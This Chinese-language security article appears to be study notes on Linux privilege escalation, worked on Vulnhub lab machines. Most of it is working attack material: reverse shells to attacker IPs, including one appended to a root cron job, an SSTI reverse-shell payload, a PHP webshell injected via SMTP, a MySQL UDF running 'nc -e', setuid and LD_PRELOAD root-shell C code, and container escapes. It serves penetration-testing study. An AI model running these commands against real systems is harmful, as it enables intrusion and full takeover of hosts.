Linux权限提升
文章详细介绍了Linux系统的多种提权技术及其应用场景。包括利用内核溢出(如Dirty Cow、Dirty Pipe)、SUID、sudo配置错误、NFS服务、cron任务、PATH环境变量劫持、LD_PRELOAD加载共享库等方法进行权限提升。此外还涉及了LXD容器逃逸、Docker容器逃逸及rbash限制绕过等高级技巧,并提供了相关工具和脚本示例。 2025-7-31 07:35:41 Author: www.freebuf.com(查看原文) 阅读量:20 收藏

#开启shell交互式
python -c 'import pty; pty.spawn("/bin/bash")'

#python开启http服务
python3   -m http.server  8080

Linux提权

  • 内核溢出提权

  • suid、sudo、nfs(配合suid)、path(配合suid)、ld_preload、cron(默认调用最高权限)、lxd(虚拟容器)、capablility、rbash(安全设置)等

  • 数据库类型提权

当前主机的操作系统

hostnamectl
cat  /etc/*-release
lsb_release  -a
cat /etc/lsb-release  #dabian
cat /etc/redhost-release  #redhat
cat /etc/centos-release #centos
cat /etc/os-release #ubuntu
cat /etc/issue

当前主机的内核版本

hostnamectl
uname  -a
cat  /proc/version

内核漏洞筛选

#msf检测,检测比较差
use  post/multi/recon/local_exploit_suggester

提权脚本

https://github.com/liamg/traitor
https://github.com/The-Z-labs/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/belane/linux-soft-exploit-suggester

综合利用脚本

https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

应用场景

获取到Web权限在Linux服务器上时候进行的内核漏洞提权

#常见的内核漏洞案例:

dirtycow (CVE-2016-5159)

Pwnkit(CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

大脏牛(CVE-2017-1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

suid入口点:web 普通用户

sudo入口点:普通用户

普通用户:

  1. 钓鱼攻击钓鱼控制的服务器 个人电脑

  2. 公司分配到的一些账号密码 泄露

  3. web或资产里面的一些口令,形成字典爆破(web上也可能有普通用户)

  4. web项目上操作上需要普通用户支持

linux:查找find  awk cp
用户权限不够的话,又想让搜索结果完整
赋予find 一个suid sudo
find这个命令也有参数,参数可以执行出其他命令出来,这就造成了提权漏洞
find  .  / -exec "whoami"\;
设置find 以后普通用户 其他用户在使用find就不会因为权限过低造成结果不完整

sudo  设置为了解决管理员懒
sudo  find  让find 使用最高去执行 结果完整
为了方便 这个时候 find加到配置文件 当使用find  默认是sudo find

应用场景:获取到web权限或者普通用户在Linux服务器上时候进行的SUID&SUDO提权,为了命令的完美体验

SUID&SUDO介绍

SUID(Set owner User ID up on execution)是基于文件的一个特殊类型的文件权限。在linux/unix中,当一个程序运行的时候,程序将从登陆用户从集成权限。不安全配置造成

SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。

用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能用超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers。

除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287,CVE-2021-3156)

SUID&SUDO&CAP网址

GTFOBins

image-20250718102034112.png

反弹shell生成网址

[~]#棱角 ::Edge.Forum*

image-20250718102046140.png

SUID&SUDO命令检测

  1. SUID&GUID

==入口点【web-普通用户-root用户】 dc-1==

find / -perm -u=s  -type  f  2>/dev/null
find / -perm -g=s  -type  f  2>/dev/null

项目:LinEnum PEASS-ng 判断常规的安全问题

/usr/bin/find  . -exec  '/bin/sh'  \;
  1. SUID&GUID toppo

==入口点【普通用户-root用户】==

python有suid权限,我们可以使用python做一个反弹shell,执行一些操作返回数据。由于python是suid权限,反弹后我们拿到的是一个root账户的权限

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. SUDO-CVE环境:devguru

kali2020

sudo:1.8.2-1.8.31p2

sudo:1.9.0-1.9.5p1

sudo的cve漏洞利用:

git  clone  https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x  sudo-hax-me-a-sandwish
./sudo-hax-me-a-sandwish

普通用户查看哪些有sudo权限
sudo -l

1. NFS安全

==入口点:webshell,用户权限==

不在乎什么权限,有这个服务就可以

【配合suid提权】

Linux是一种基于TCP/IP传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源,文件共享

属性和权限都是可以同步的

运行xuan相当于find命令

参考文章:《漏洞复现--vulnhub--hackdudo2靶机NFS安全.md》

#有一个文件包含漏洞
http://192.168.16.104/file.php?file=/etc/passwd

#NFS服务利用
showmount -e 192.168.16.104
mkdir  nfs
mount -t nfs 192.168.16.104:/mnt/nfs  ./nfs
chmod 777 shell.php

find / -perm -u=s  -type  f  2>/dev/null
where find
cp  /usr/bin/find  xuan
chmod 777 xuan
chmod +s  xuan#给他一个suid权限
#使用find执行方式,执行报错,ubuntu上文件debian这里不兼容
xuan . -exec 'whoami' \;

方法一:相似系统,find取出来

方法二:使用c命令写一个执行文件

getroot.c文件

#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("whoami");
system("/bin/bash");
}

#编译,取出来然后上传文件到共享目录里
gcc getroot.c -o getroot
chmod  +s  getroot
chmod 777 getroot

2. Cron任务

==webshell,普通用户==

下载地址https://www.vulnhub.com/entry/jarbas-1,232/

参考文章:《漏洞复现--vulnhub--jarbas定时任务提权.md》

信息收集

#信息收集
nmap -p1-65535  192.168.186.1/24
#8080端口进行登陆,在80端口扫描到日志文件查看到用户名和密码
#构建任务反弹shell
bash -i >& /dev/tcp/192.168.186.130/6666 0>&1

定时任务

#查看定时任务
cat /etc/crontab
#查看定时任务执行脚本的可修改权限
ls -lia /etc/script/CleaningScript.sh
#修改
echo "bash -i >& /dev/tcp/192.168.186.130/6677 0>&1"  >>   /etc/script/CleaningScript.sh

#攻击机上
#攻击机上监听6677端口,5分钟后反弹root权限成功
nc -lvnp 6677

提权原因:

  • 当cron任务以root权限运行,但脚本或可执行文件的权限设置不当(如普通用户可写入)

  • /etc/crontab或cron目录可被普通用户修改

3. PATH 劫持攻击

==入口点:普通用户==

这段代码是一种 PATH 劫持(Path Hijacking)攻击,目的是诱骗系统执行恶意脚本而非正常命令

入口点:SMB服务

需要结合sudo提权

环境下载https://www.vulnhub.com/entry/symfonos-1,322/

参考文章:《漏洞复现--vulnhub--Symfonos1靶机PATH劫持.md》

**主要思想:**不能上传文件,选用日志(文件包含拿webshell)

选用访问一个错误的页面,页面里面访问错误的路径带有后面里面的代码,后门代码植入日志再包含这个日志,调用里面的后门代码

给它发邮件,邮件里面包含恶意代码,写到邮件日志里面去包含这邮件日志

信息收集

#信息收集
smbclient -L 192.168.186.139

#权限获取:
smbclient  //192.168.186.139/anonymous
#文件获取get name.txt
smbclient  //192.168.186.139/helios  -U  helios
用户名helios 密码qwerty  #新网址wp框架

wpscan  --url http://192.168.186.139/h3l105/  --plugins-detection aggressive
searchsploit  mail masta 
#利用里面的c编号文件,访问文件包含编号的地址
search mail-masta  1.0
#漏洞利用,利用邮件
telnet 192.168.186.139  25
MAIL  FROM: MALABIS
RCPT TO:helios
data
<?PHP SYSTEM($_get['SHELL']);?>
.
QUIT
#反弹shell,使用bash不成功,使用python可以成功

为什么选用/opt/statuscheck :

系统是死的,这是活的(别人创建的)

攻击原理

/opt/statuscheck 里面有curl---> /usr/bin/curl(/tmp/curl--->sh )

  • 攻击者在 /tmp下创建一个名为 curl的恶意文件(实际内容是 /bin/sh)。

  • 修改 PATH,让系统优先在 /tmp下查找命令。

  • 当用户或某个脚本执行 curl时,系统会先找到 /tmp/curl并执行它,从而直接启动一个 shell(/bin/sh)。

  • 如果这个操作是由特权用户(如 root)执行的,攻击者就能获得一个 root shell,实现权限提升。

#查看suid权限,有自定义的statuscheck
find / -perm -u=s  -type  f  2>/dev/null
strings   /opt/statuscheck  #suid权限
#里面有执行curl,利用curl把权限弹出来
/opt/statuscheck 


#在/tmp文件下有一个curl文件,执行的就是sh
cd /tmp
#创建一个名为 curl 的文件,内容为 /bin/sh(即调用系统 shell)
echo "/bin/sh"  > curl
#赋予 curl 文件最高权限
chmod 777 curl
#修改 PATH 环境变量,将 /tmp 目录添加到最前面,使得系统在执行命令时优先在 /tmp 下查找。
export PATH=/tmp:$PATH
#显示当前的 PATH 环境变量,确认 /tmp 是否已成功添加。
echo $PATH

#当执行curl时候,默认执行/usr/bin/curl
whereis curl

#最后提权
/opt/statuscheck

4. Capablility能力

==入口点:Web&普通用户==

它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

结论:suid升级版本,更细致的权限划分,通过能力有哪些权限进行利用

利用网址GTFOBins,本地实验:

参考文章:《漏洞复现--vulnhub--Hacker_Kid-v1.0.1权限提升Capablility.md》

cp /usr/bin/php  /tmp/php
设置能力:setcap  cap_setuid+ep  /tmp/php
删除能力:setcap  -r  /tmp/php
查看单个能力:getcap  /usr/bin/php
查看所有能力:getcap  -r  / 2>/dev/null

image-20250720162746971.png

普通用户,这地方可以利用

image-20250720163156850.png

利用,提示不成功,给php加一个权限就行

xuan@xuan-VMware-Virtual-Platform:/root$ /tmp/php  -r "posix_setuid(0); system('/bin/sh');"
whoami
root

image-20250720163440671.png

靶机提权操作

下载地址https://www.vulnhub.com/entry/hacker-kid-101,719/

用户名: 密码 saket:Saket!#$%@!!

SSTI模块注入

name={% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.16.109/4444 0>&1"')}}

#url加密
http://192.168.16.107:9999/?name=%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%36%2e%31%30%39%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d

权限提升

#不行,要完全路径
saket@ubuntu:~$ getcap  -r  / 2>/dev/null
getcap  -r  / 2>/dev/null
saket@ubuntu:~$ /sbin/getcap -r  / 2>/dev/null
/sbin/getcap -r  / 2>/dev/nul
/sbin/getcap -r  / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
#我们利用python2.7,他又进程追踪权限

#正常执行没有结果
nc 192.168.16.107 5600
#注入一遍,监听就可以监听上了
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
nc 192.168.16.107 5600

image-20250720172301007.png

5. LD_Preload加载

==入口点:普通用户==

共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。

每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。

动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读)

**LD_Preload:**它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的。

实验配置

这个可以直接使用find命令的sudo提权

vim  /etc/sudoers
#现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
xuan  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
#然后添加以下内容作为默认配置来设置LD_preload的环境,允许启用LD_PRELOAD。
Defaults        env_keep += LD_PRELOAD

image-20250720222925945.png

image-20250720222937586.png

权限提升

可以设置程序的预加载,执行find时候,可以执行的so

sudo LD_PRELOAD=/tmp/shell.so find让find在执行时候绑定我们的so文件。

sudo  xuan
id
#检测它并获取利用信息
sudo -l
#在/tmp目录中生成一个C程序文件
cd /tmp
vim  shell.c

#让我们编译它以生成一个带有.so扩展名的共享对象
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

image-20250720223306988.png

shell.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

结论:sudo提权有限制,如果是第三方程序,就无法进行。但是一旦设置了LD_PreLoad,那么只要有程序即可提权

区别sudo的提权

上面的这个可以直接使用find命令的sudo提权,那为社么还要有LD_Preload加载的提权呢?

优点:碰到第三方应用可以应用

缺点:需要开启LD_PRELOAD

#root权限下
cp /home/xuan/linpeas.sh  /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
vim  /etc/sudoers

【条件1:参数控制的地方】xuan  ALL=(ALL:ALL) NOPASSWD: /tmp/linpeas.sh
【条件2:设置了LD加载】Defaults        env_keep += LD_PRELOAD

#普通用户利用上面的脚本文件,然后
su  xuan
sudo LD_PRELOAD=/tmp/shell.so /tmp/linpeas.sh

image-20250720230230060.png

LXD、LXC和Docker是三种不同的容器化技术,它们在实现和使用上有一些区别。总结来说

  1. LXD是基于LXC的系统及容器管理器,提供了更高级别的接口和管理工具;

  2. LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;

  3. 而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD【系统自带的】(Linux容器守护程序)是一个系统极容器管理器,它基于LXC(Linux容器)技术。LXD提供更高级别的接口和管理工具,是的轻松创建和管理系统容器成为可能。

LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性,资源控制和安全性

LXC【系统自带的】(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

Docker【应用容器】是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分布和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,是的容器开源在不同 环境中进行移植和部署。Docker强调容器的可移植性和

1. LXD容器

==入口点:普通用户==

原理:

LXD是基于LXC容器的管理程序,当前用户可操作容器

理解为用户创建一个容器,再用容器挂载宿主机磁盘

最后使用容器权限操作宿主机磁盘内容达到提权效果。

LXD本地提权条件:

--已经获得shell

--用户属于lxd组

信息收集

nmap  -p1-65536  192.168.16.1/24
#获得ip地址为192.168.186.140,开放端口80,22
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

使用ssh进行连接
ssh [email protected]

# sudo  -l报错,我们使用脚本
##ssh目标机上,有lxd信息
cd /tmp
wget http://192.168.186.130:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

lxd提权

lxc  image import  ./alpine-v3.22-x86_64-20250721_1126.tar.gz   --alias  test
lxc  init test test -c security.privileged=true
#真机的根目录连接虚拟机的/mnt/root
lxc config device add test test disk source=/  path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root
cat flag.txt

2. Docker容器

==入口点:普通用户==

Docker本地提权条件:

--已经获得shell

--当前用户权限在docker组里面

docker逃逸:拿到docker权限,在虚拟空间利用技术逃出来

docker提权:主机权限,利用docker进行权限

  • 容器可以修改宿主机上的任何文件(包括系统关键文件,可能导致系统崩溃)。

  • 如果容器被入侵,攻击者可以控制宿主机

取得权限:
1.在docker里面
	进行docker逃逸+提权(先逃后提)
2.不在docker里面(借助)
	本机没有docker应用	       无docker逃逸提权思路
	本机有docker应用利用上面漏洞   做docker提权

本机实验

#把一个普通账号test添加到docker
使用newgrp将root初始组为docker组
useradd dockertest
passwd dockertest
#加入docker用户组,new生效
usermod -G docker dockertest
newgrp  docker

#root账号先拉去镜像到本地
docker pull alpine
#docker用户对docker有完全控制权,镜像把磁盘挂进去
真机的根目录挂载到这里的mnt目录
su dockertest
docker run -v  /:/mnt  -it alpine
cd  /mnt/root

3. Rbash绕过

==入口点:普通用户==

安全配置,限制性bash

Rbash(The Restricted mode of bash),也就是限制性bash

在渗透测试可能遇到rbash,尝试绕过后才能进行后续操作

本机实验

useradd rbashtest
passwd rbashtest

#普通用户
su rbashtest
id

#将用户rbashtest加入rbash
usermod -s /bin/rbash  rbashtest
su rbashtest
cd   #cd命令拒绝
ls /tmp 
./tmp/linEnum.sh  #拒绝

rbash逃逸方法 rbash逃逸大全-先知社区

==入口点:web&普通用户==

条件:root账号密码,最高权限账号密码

参考:http://x2.aliyun.com/t/11664

SQLServer MySQL Oracle Postgresql redis

SQL Server Win特有

redis Linux特有

Linux上的动态连接库是so

windows上的动态链接库是dll

参考文章 Linux提权基础分享和讨论-先知社区

参考文章:《漏洞复现--vulnhub--Raven2数据库mysql提权.md》

#信息收集
nmap 192.168.16.1/24
dirb http://192.168.16.106/

#获得插件版本信息,利用py脚本反弹shell,拿到webshell权限

udf脚本文件

searchsploit  udf
find / -name  1518.c
cp  /snap/searchsploit/542/opt/exploitdb/exploits/linux/local/1518.c  ./1518.c

#本地文件编译
gcc -g  -shared -Wl,-soname,1518.so -o udf.so 1518.c  -lc

#上传udf文件到目标机的/tmp目录下
python   -m http.server  8080
wget http://192.168.16.109:8080/udf.so

数据库提权操作

#查看版本信息
select version();
#查看插件位置
show variables like '%plugin%';
#查看安全配置,secure_file_priv配置没开,可以udf提权
show  variables like '%secure%';

use mysql;
create table  xuan(line blob);


insert into xuan values(load_file('/tmp/udf.so'));
select * from  xuan into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';

select  do_system('nc  192.168.16.109 6666  -e /bin/bash');

#攻击机开启监听,拿权限成功
nc -lvnp 6666

Linux提权基础分享和讨论-先知社区

Hacker_Kids靶机渗透WP - 简书

Linux提权之:利用capabilities提权 - f_carey - 博客园

Hacker_Kids靶机渗透WP - 简书

使用LD_Preload的Linux权限升级技巧 - 渗透测试中心 - 博客园

Vulnhub靶机:AI-Web-2.0 - 简书

rbash逃逸大全-先知社区


文章来源: https://www.freebuf.com/articles/web/441792.html
如有侵权请联系:admin#unsafe.sh